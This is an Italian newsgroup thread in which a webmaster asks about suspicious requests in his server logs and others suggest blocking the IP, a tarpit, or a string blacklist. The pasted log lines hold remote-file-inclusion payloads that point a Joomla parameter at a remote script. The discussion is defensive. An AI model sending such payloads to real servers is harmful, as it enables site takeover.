Newsgroup: it.comp.www.php
Titolo: urgente - stanno cercando di farmi cadere il sito?

Mi scuso con il ng ma vi prego di dirmi se c'è da preoccuparsi o meno...
Ho notato da qualche giorno movimenti strani sul sito (per giunta dal 
contatore chissà come è stato), vado a controllare il file di log e 
resto paralizzato...
Una sfilza di IP che da circa 48 ore sta sbattendo una a una le 
directory virtuali create col mod_rewrite. In particolare nel plesk mi 
stanno comparendo error_log files abbastanza pesanti e aprendoli vedo 
diversi IP che sbattono continuamente contro la cartella 'private' 
cercando di accedervi (io non utilizzandola ho disabilitato tutti i 
permessi quindi è cmq inaccessibile).
Non credo siano spider, guardandomi il file di log delle ultime ore una 
riga almeno mi è altamente sospetta e si è ripetuta un casino di volte 
cambiando dir di continuo, ovvero questa:
*****.it/index2.php?mosConfig_absolute_path=
http://holynova.net/administrator/components/com_comprofiler/safe1.txt?
?? 
HTTP/1.1" 403 592 "-" "libwww-perl/5.803"
premetto che il mio sito non si regge su un cms ma è totalmente 
autocostruito e per di più non ha proprio una pagina chiamata 
index2.php. Faccio questa premessa perchè questa riga e quel 
'components' nel path mi fa venire in mente alcuni tipi di XSS che vidi 
tempo fa su un sito realizzabili con joomla.
Che ne pensate??
Come detto l'ho trovata in maniera martellante da parte dello stesso IP 
anche in corrispondenza di altre dir:
*****.it/sec/43/index2.php?mosConfig_absolute_path=
http://holynova.net/administrator/components/com_comprofiler/safe1.txt?
?? 
HTTP/1.1" 403 602 "-" "libwww-perl/5.65"
e ancora
*****.it/sec/index2.php?mosConfig_absolute_path=
http://holynova.net/administrator/components/com_comprofiler/safe1.txt?
?? 
HTTP/1.1" 403 599 "-" "libwww-perl/5.65"
questo sito 
holinova.net
 non lo conosco, nè ho servizi o altro ad esso 
collegati. Per di più visitandolo ho appena visto che risulta sospeso(!?!)
Questo suppongo sia uno spider... che ne pensate?
205.196.222.10 - - [05/Feb/2008:04:04:18 +0100] "GET 
/approfondimenti/archivio.html HTTP/1.0" 200 11678 "-" "<b> Runnk RSS 
finder: 
http://www.runnk.com/il/law
 : Israeli legal : Mishpat : 
&#x5e2;&#x5d5;&#x5e8;&#x5db;&#x5d9; &#x5d3;&#x5d9;&#x5df; : 
&#x5d7;&#x5d5;&#x5e7; &#x5d5;&#x5de;&#x5e9;&#x5e4;&#x5d8; </b> 
hybr...@runnk.com
"
205.196.222.10 - - [05/Feb/2008:04:05:19 +0100] "GET 
/approfondimenti/cartelle.html HTTP/1.0" 200 10405 "-" "<b> Runnk RSS 
finder: 
http://www.runnk.com/il/law
 : Israeli legal : Mishpat : 
&#x5e2;&#x5d5;&#x5e8;&#x5db;&#x5d9; &#x5d3;&#x5d9;&#x5df; : 
&#x5d7;&#x5d5;&#x5e7; &#x5d5;&#x5de;&#x5e9;&#x5e4;&#x5d8; </b> 
hybr...@runnk.com
"
Spero non sia niente di grave... in caso contrario che mi suggerite di 
fare? Può servire avvisare il provider? Può fare qualcosa?
Grazie.
Fabio

fare? Può servire avvisare il provider? Può fare qualcosa?
Si'. Possono bloccare l'IP, oppure fargli avere... esperienze
interessanti.
(Oddio, per quanto possa essere interessante un tarpit)
Leonardo
--
The stars have not dealt me the worst they could do:
My pleasures are plenty - my troubles are two.
But oh!, my two troubles, they reave me of rest:

 Leonardo
Ciao Leonardo, che ne pensi delle righe che ho postato?
Secondo te c'è da preoccuparsi?
Fabio

Secondo te c'è da preoccuparsi?
Non troppo, si direbbe un attacco automatico; ma tu intanto segnala al
provider.


 ha scritto nel messaggio 
news:47a8f008$0$10625$4faf...@reader2.news.tin.it...


sia sprovvisto?
E cosa ci fai con un firewall? Quelle sono richieste HTTP valide.
Stronzole finche' si vuole, ma dal punto di vista del protocollo HTTP
valide.
Ci sono dei firewall con SPF che accettano black list di stringhe (in
questo caso basterebbe dirgli ".*holynova.*|TARPIT"), ma non e' detto
che un server ce l'abbia per forza.


 E cosa ci fai con un firewall? Quelle sono richieste HTTP valide.
Con un firewall potrebbe intanto bloccare le chiamate dal quel certo
IP verso la porta 80, se continuano a verificarsi.
Ciao,
    Fabrizio
--website: 
http://www.negusweb.it

IP verso la porta 80, se continuano a verificarsi.
Hai ragione; quella funzionalita' non l'associo ormai neppure piu'
a un firewall dedicato :-). E si' che gliel'avevo suggerito io.


 IP verso la porta 80, se continuano a verificarsi.
Come giustamente fa notare Leonardo, non è praticamente più
una funzionalità da 'firewall' (ah, la tecnologia... :-D )
-- 
ValeRyo - GS500F "Camilla"
Comitato Per La Salvaguardia Dell'Italiano
E anche tu potrai dire: quest'hanno c'è l'ho l'iscrizione!
Se impareremmo i congiuntivi fossimo persone migliori! 

 una funzionalità da 'firewall' (ah, la tecnologia... :-D )
Cosa? Stai scherzando?
Un pò di cultura non fa mai male: 
http://it.wikipedia.org/wiki/Firewall


 
http://it.wikipedia.org/wiki/Firewall
Già.
